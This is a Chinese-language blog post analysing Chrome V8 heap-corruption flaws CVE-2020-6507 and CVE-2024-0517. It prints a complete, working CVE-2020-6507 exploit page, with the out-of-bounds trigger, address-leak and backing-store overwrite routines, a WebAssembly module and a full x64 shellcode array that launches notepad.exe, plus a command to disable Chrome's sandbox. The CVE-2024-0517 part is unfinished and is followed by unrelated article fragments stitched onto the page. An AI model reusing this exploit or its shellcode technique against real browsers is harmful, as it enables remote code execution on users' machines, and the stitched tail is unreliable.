Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517 流程分析

本文深入研究了两个在 Google Chrome 的 V8 JavaScript 引擎中发现的漏洞,分别是 CVE-2020-6507 和 CVE-2024-0517。这两个漏洞都涉及 V8 引擎的堆损坏问题,允许远程代码执行。通过EXP HTML部分的内存操作、垃圾回收等流程方式实施利用攻击。

CVE-2020-6507 漏洞存在于 Google Chrome 版本 83.0.4103.106 及之前的版本中,它允许攻击者进行越界写入,从而导致堆损坏。攻击者可以通过构建特定的 HTML 页面触发该漏洞,利用该漏洞可能导致严重的安全问题。

另一方面,CVE-2024-0517 漏洞发现于 Google Chrome 版本 120.0.6099.224 之前的版本,同样存在 V8 引擎的堆损坏问题。攻击者可以通过巧妙设计的 HTML 页面潜在地实施攻击。这个漏洞的修复在 2024 年 1 月的 Chrome 更新中得以解决。

漏洞编号: CVE-2020-6507
漏洞描述: 83.0.4103.106 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

漏洞编号: CVE-2024-0517
漏洞描述: 120.0.6099.224 之前的 Google Chrome 中的 V8 越界写入允许远程攻击者通过精心设计的 HTML 页面潜在地利用堆损坏。

一、了解什么是V8和JavaScript

两个CVE的漏洞都是V8引起那么我们简单认识一下,这个V8到底是什么东西?
答:V8 是 Google 的开源高性能 JavaScript 和 WebAssembly 引擎,用 C++ 编写。它用于 Chrome 和 Node.js 这个V8涉及内容及其的多如果需要完全吸收是需要花时间的,这里我把【Chrome 浏览器利用,第 1 部分:V8 和 JavaScript 内部结构简介】和【Chrome 浏览器利用,第 2 部分:通过 TurboFan 介绍 Ignition、Sparkplug 和 JIT 编译】放出来直接点击跳转到原文观看。

这里在添加一些参考V8的文章的内容【V8 / Chrome 架构阅读列表 - 适用于漏洞研究人员】

这张图,是从高层次的角度看到Chrome V8如何工作的完整流程。

https://cabulous.medium.com/how-v8-javascript-engine-works-5393832d80a7

下面这张图是“当 V8 编译 JavaScript 代码时,解析器会生成一个抽象语法树。 语法树是JavaScript 代码语法结构的树表示。Ignition(解释器)从该语法树生成字节码。TurboFan,优化编译器,最终获取字节码并从中生成优化的机器代码。”

在这里插入图片描述
如果还是没看懂,那么看这张图或者这篇文章【Chrome V8 Engine - Working】,下图是整个V8引擎的运行流程。
在这里插入图片描述

二、CVE-2020-6507 复现环境:

Win10 + Google Chrome 86.0.4240.75


三、CVE-2020-6507 利用复现:

关闭沙箱安全使用命令进行关闭 ,在正常情况下,浏览器沙箱提供了一个受限制的执行环境,以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化,使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

四、EXP核心分析:

// 漏洞利用的HTML代码
<script>// 触发垃圾回收以促使后续的内存布局function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}// Shellcode,实际上是一个汇编代码的字节序列let shellcode = [...];  // 替换为实际的 shellcode// WebAssembly 模块的字节码数据var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);// 创建 WebAssembly 模块和实例var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var main = wasmInstance.exports.main;// ArrayBuffer 和 DataView 用于进行内存操作var bf = new ArrayBuffer(8);var bfView = new DataView(bf);// 获取浮点数的低32位function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}// 获取浮点数的高32位function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}// 合成一个双精度浮点数function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}// 将浮点数转换为大端序的64位无符号整数function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}// 将大端序的64位无符号整数转换为浮点数function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}// 定义一个 ArrayBuffer 的子类,用于进行内存操作class LeakArrayBuffer extends ArrayBuffer {constructor(size) {super(size);this.slot = 0xb33f;}}// 在调用 foo 之前进行多次操作,包括触发垃圾回收function foo(a) {let x = -1;if (a) x = 0xFFFFFFFF;var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));arr.shift();let local_arr = Array(2);local_arr[0] = 5.1;let buff = new LeakArrayBuffer(0x1000);arr[0] = 0x1122;return [arr, local_arr, buff];}for (var i = 0; i < 0x10000; ++i)foo(false);gc(); gc();// 调用 foo,获取相关数组和内存对象[corrput_arr, rwarr, corrupt_buff] = foo(true);// 利用漏洞进行内存操作corrput_arr[12] = 0x22444;delete corrput_arr;// 对内存进行操作,获取相关信息function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);rwarr[5] = i2f(low, fHi(rwarr[5]));}function leakObjLow(o) {corrupt_buff.slot = o;return (fLow(rwarr[9]) - 1);}let corrupt_view = new DataView(corrupt_buff);let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);let idx0Addr = corrupt_buffer_ptr_low - 0x10;let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;let delta = baseAddr + 0x1c - idx0Addr;if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);}let wasmInsAddr = leakObjLow(wasmInstance);setbackingStore(wasmInsAddr, this.base);let code_entry = corrupt_view.getFloat64(13 * 8, true);setbackingStore(fLow(code_entry), fHi(code_entry));// 替换 shellcode 并执行for (let i = 0; i < shellcode.length; i++) {corrupt_view.setUint8(i, shellcode[i]);}// 执行 WebAssembly 的入口函数main();
</script>

有一个小问题,我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行,需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的,下面是我的大概一个理解。
这里是通过直接输入EXP行为导致触发

  • 在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制,而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
    HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。
  • 浏览器在直接打开本地文件时,可能会将该文件视为“本地”或“不安全”的上下文,并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险,因为本地文件可能会利用用户系统上的资源。
  • 通过在地址栏中输入地址,你实际上是通过 HTTP 协议从浏览器获取页面,而不是直接从文件系统中加载。在这种情况下,浏览器可能会将页面视为更“安全”的上下文,并放宽一些限制。
  • 这种行为可能是浏览器的一个特定实现,而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本,最好的做法是将文件部署到本地服务器上,并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境,同时减轻一些本地文件系统访问的限制,通过上面的一些描述可以很清楚认定这个行为。

其实在另外一种思路上,如果是直接可以打开直接执行命令,那么就可以绕过谷歌浏览器的这个机制限制,当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸,根据以往一些国外大佬进行逃逸并未成功!

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本,其核心部分在于实现了一系列操作,以触发浏览器漏洞并执行特定的shellcode,最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为(WasmGC)https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection

让我们逐步分析这个脚本的核心要点:

  1. 内存操作:
  • 使用ArrayBuffer对象进行内存分配,其中gc函数用于触发垃圾回收,以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象,用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制,使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中,ArrayBuffer 主要用于进行内存操作,通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换,以及实现对内存的底层控制,从而进行漏洞利用。

  • 定义了一系列与内存操作相关的函数,如fLowfHii2ff2bigbig2f等,用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制,或者触发特定的漏洞。这里简要说明这些函数的作用:
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样,用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>// 触发垃圾回收,促使后续的内存布局function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}// ... (其他代码)// 创建一个包含8字节的ArrayBuffer对象var bf = new ArrayBuffer(8);var bfView = new DataView(bf);// 以下是一系列处理浮点数和整数之间转换的函数// fLow: 获取浮点数的低32位function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}// fHi: 获取浮点数的高32位function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}// i2f: 将低32位和高32位整数转换成浮点数function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}// f2big: 将浮点数转换成大端格式的64位整数function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}// big2f: 将大端格式的64位整数转换成浮点数function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}
</script>
  • gc 函数通过循环创建了大量的 ArrayBuffer 对象,以触发垃圾回收。
  • 接着定义了一系列与内存操作相关的函数,如fLowfHii2ff2bigbig2f 等,这些函数用于处理浮点数和整数之间的转换。
  1. WebAssembly 操作:

知识点认识:WebAssembly(Wasm)是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中,WebAssembly 模块可以通过与 JavaScript 代码进行交互,这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

  • 定义了一个包含 WebAssembly 字节码的 Uint8Array 对象,并创建了 WebAssembly 模块和实例。
  • main 函数是 WebAssembly 模块的入口点。
<script>// ... (其他代码)// 定义一个包含 WebAssembly 模块字节码数据的 Uint8Arrayvar wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);// 创建一个 WebAssembly 模块var wasmModule = new WebAssembly.Module(wasmCode);// 创建一个 WebAssembly 实例var wasmInstance = new WebAssembly.Instance(wasmModule);// 获取 WebAssembly 模块的导出函数 mainvar main = wasmInstance.exports.main;// ... (其他代码)
</script>
  • wasmCode 定义了一个 Uint8Array,其中包含了 WebAssembly 模块的字节码数据。
  • 通过
  • WebAssembly.Module 创建了一个 WebAssembly 模块。
  • 通过 WebAssembly.Instance创建了一个 WebAssembly 实例,并将其中的 main 函数赋值给了变量 main。
    这部分代码涉及到 WebAssembly的加载和执行,其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。
  1. 漏洞触发:
  • 利用特定的操作和计算,触发了浏览器漏洞,包括操作ArrayArrayBuffer等对象。
  1. Shellcode 注入:
  • 定义了一个名为 shellcode 的数组,其中包含一段特定的二进制代码。这段代码是汇编代码,用于执行特定的操作,这里是弹出记事本。
  1. 内存布局操作:
  • 通过一系列的内存操作,计算出一些关键地址,包括 baseAddrwasmInsAddrcode_entry
  • setbackingStore 函数用于修改内存中的值,实现对关键地址的设置。
// 设置 backingStore 函数,用于将两个 32 位整数写入数组 rwarr 中的浮点数元素
// hi: 要写入的高位整数,low: 要写入的低位整数
function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);  // 将高位整数写入 rwarr[4]rwarr[5] = i2f(low, fHi(rwarr[5]));   // 将低位整数写入 rwarr[5]
}// 泄漏对象低位地址函数
// o: 要泄漏低位地址的对象
function leakObjLow(o) {corrupt_buff.slot = o;  // 将对象设置到 ArrayBuffer 的 slot 属性中return (fLow(rwarr[9]) - 1);  // 泄漏对象低位地址
}let corrupt_view = new DataView(corrupt_buff);// 获取 ArrayBuffer 的低位地址,用于后续计算
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);// 计算偏移地址
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;// 根据偏移地址确定 base 指向的是数组 rwarr 中的哪个元素
if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);
} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);
}// 泄漏 WebAssembly 实例的低位地址
let wasmInsAddr = leakObjLow(wasmInstance);// 将泄漏的 WebAssembly 实例地址和 base 写入 backingStore 中
setbackingStore(wasmInsAddr, this.base);// 从 DataView 中获取地址指向的浮点数,即 WebAssembly 的代码入口地址
let code_entry = corrupt_view.getFloat64(13 * 8, true);// 将代码入口地址写入 backingStore 中
setbackingStore(fLow(code_entry), fHi(code_entry));
  1. 最终执行:
  • 在整个过程的最后,通过调用 main 函数,触发了 WebAssembly 模块的执行,并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP,弹出记事本!

// exploit.html
<script>function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var main = wasmInstance.exports.main;var bf = new ArrayBuffer(8);var bfView = new DataView(bf);function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}class LeakArrayBuffer extends ArrayBuffer {constructor(size) {super(size);this.slot = 0xb33f;}}function foo(a) {let x = -1;if (a) x = 0xFFFFFFFF;var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));arr.shift();let local_arr = Array(2);local_arr[0] = 5.1;//4014666666666666let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8arr[0] = 0x1122;return [arr, local_arr, buff];}for (var i = 0; i < 0x10000; ++i)foo(false);gc(); gc();[corrput_arr, rwarr, corrupt_buff] = foo(true);corrput_arr[12] = 0x22444;delete corrput_arr;function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);rwarr[5] = i2f(low, fHi(rwarr[5]));}function leakObjLow(o) {corrupt_buff.slot = o;return (fLow(rwarr[9]) - 1);}let corrupt_view = new DataView(corrupt_buff);let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);let idx0Addr = corrupt_buffer_ptr_low - 0x10;let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;let delta = baseAddr + 0x1c - idx0Addr;if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);}let wasmInsAddr = leakObjLow(wasmInstance);setbackingStore(wasmInsAddr, this.base);let code_entry = corrupt_view.getFloat64(13 * 8, true);setbackingStore(fLow(code_entry), fHi(code_entry));for (let i = 0; i < shellcode.length; i++) {corrupt_view.setUint8(i, shellcode[i]);}main();
</script>

五、Google Chrome V8 CVE-2024-0517 越界写入代码执行

漏洞介绍:该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下,编译器必须查找所有父类及其构造函数,并且在执行此操作时会引入漏洞。1月份通报的漏洞预警中与上面的2021年Google Chrome RCE漏洞区别较大,CVE-2024-0517是 … …这里明天再写我直接发稿先…晚了

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文章目录 第14章_数据结构与集合源码本章专题与脉络1. 数据结构剖析1.1 研究对象一&#xff1a;数据间逻辑关系1.2 研究对象二&#xff1a;数据的存储结构&#xff08;或物理结构&#xff09;1.3 研究对象三&#xff1a;运算结构1.4 小结 2. 一维数组2.1 数组的特点2.2 自定义数…

何恺明 ResNet 引用量正式破20万!!!

注: 本文转自微信公众号 BravoAI (专注AI资讯和技术分享), 原文网址: 何恺明 ResNet 引用量正式破20万!!!, 扫码关注公众号 谷歌学术显示, 截止到 2024年1月26日, 何凯明 ResNet 一文引用量正式突破 20W!!! 更为惊人的是, 从论文发表到今天, 不过7年!!!‍‍‍‍‍‍‍‍‍‍‍‍…

springboot347基于web的铁路订票管理系统

获取源码——》公主号&#xff1a;计算机专业毕设大全

预处理详解1❤

一&#xff1a;预定义符号 C语言中设置了一些预定义符号&#xff0c;它们可以直接使用&#xff0c;同时预定义符号是在预处理期间处理的。 以下就是相关的预处理符号的作用。 二&#xff1a;#define定义常量 首先基本的语法是 #define name stuff 相对比较简单&#xff…

Ultraleap 3Di配置以及在 Unity 中使用 Ultraleap 3Di手部跟踪

0 开发需求 1、硬件&#xff1a;Ultraleap 手部追踪相机&#xff08;Ultraleap 3Di&#xff09; 2、软件&#xff1a;在计算机上安装Ultraleap Gemini (V5.2) 手部跟踪软件。 3、版本&#xff1a;Unity 2021 LTS 或更高版本 4、Unity XR插件管理&#xff1a;可从软件包管理器窗…

Bagging方法的基本思想

Bagging方法的基本思想实现 在Bagging集成当中&#xff0c;我们并行建立多个弱评估器&#xff08;通常是决策树&#xff0c;也可以是其他非线性算法&#xff09;&#xff0c;并综合多个弱评估器的结果进行输出。当集成算法目标是回归任务时&#xff0c;集成算法的输出结果是弱…

乖乖,咱不用BeanUtil.copy了,咱试试这款神级工具(超详细)

引言 在现代Java应用程序开发中&#xff0c;处理对象之间的映射是一个常见而且必不可少的任务。随着项目规模的增长&#xff0c;手动编写繁琐的映射代码不仅耗时且容易出错&#xff0c;因此开发者们一直在寻找更高效的解决方案。比如基于Dozer封装的或者Spring自带的BeanUtil.…

AI Infra论文阅读之通过打表得到训练大模型的最佳并行配置

目录 0x0. 前言0x1. 摘要0x2. 介绍0x3. 背景0x4. 实验设置0x5. 高效的LLM训练分析0x5.1 Fused Kernels 和 Flash Attention0x5.1.1 Attention0x5.1.2 RMSNorm Kernel 0x5.2 Activation Checkpointing0x5.3 Micro-Batch 大小0x5.4 Tensor Parallelism和Pipline Parallelism0x5.5…

幻兽帕鲁服务器一键搭建脚本

前言 幻兽帕鲁刚上线就百万在线人数。官方服务器的又经常不稳定。所以这里给大家带来最快捷的搭建教程。废话不多说直接开始。 服务器配置要求 这里推荐腾讯云的轻量云服务器 测试环境&#xff1a; CPU &#xff1a; 2核 内存&#xff1a;4GB 系统&#xff1a;Debian 12 64…

leetcode:二叉树的中序遍历(外加先序,后序遍历)

题外&#xff1a;另外三种遍历可以看这&#xff1a; 层序遍历&#xff1a; Leetcode:二分搜索树层次遍历-CSDN博客 先序遍历&#xff1a; 二叉树的先序&#xff0c;中序&#xff0c;后序遍历-CSDN博客 后序遍历&#xff1a; 二叉树的先序&#xff0c;中序&#xff0c;后序…

鸿蒙开发(Harmonyos兼容与Harmonyos适配)

布局的实现 Layout_ability_main.xml布局&#xff1a; <?xml version"1.0" encoding"utf-8"?> <DirectionalLayoutxmlns:ohos"http://schemas.huawei.com/res/ohos"ohos:height"match_parent"ohos:width"match_pare…

测试人员为什么要编写测试用例?好的测试用例应该具备那些特点?

设计测试用例可以说是测试人员的一项最基本技能 。很多时候当我们接到设计测试用例的任务时 &#xff0c;往往都是想的该如何更快的完成这项任务 &#xff1f;而很少去想为什么要完成这项任务? 对于测试用例也是如此&#xff0c;为什么要设计测试用例呢(目的)&#xff1f;其实…

Jellyfin影音服务本地部署并结合内网穿透实现公网访问本地资源

文章目录 1. 前言2. Jellyfin服务网站搭建2.1. Jellyfin下载和安装2.2. Jellyfin网页测试 3.本地网页发布3.1 cpolar的安装和注册3.2 Cpolar云端设置3.3 Cpolar本地设置 4.公网访问测试5. 结语 1. 前言 随着移动智能设备的普及&#xff0c;各种各样的使用需求也被开发出来&…

拼图小游戏的界面和菜单的搭建

package Puzzlegame.com.wxj.ui;import javax.swing.*;public class GameJframe extends JFrame { //游戏主界面 public GameJframe(){//初始化界面initJFrame();//初始化菜单initJmenuBar();//让界面显示出来this.setVisible(true); }private void initJmenuBar() {//创建整个…

需求变化频繁的情况下,如何实施自动化测试

一.通常来说&#xff0c;具备以下3个主要条件才能开展自动化测试工作: 1.需求变动不频繁 自动化测试脚本变化的频率决定了自动化测试的维护成本。如果需求变动过于频繁&#xff0c;那么测试人员就需要根据变动的需求来不断地更新自动化测试用例&#xff0c;从而适应新的功能。…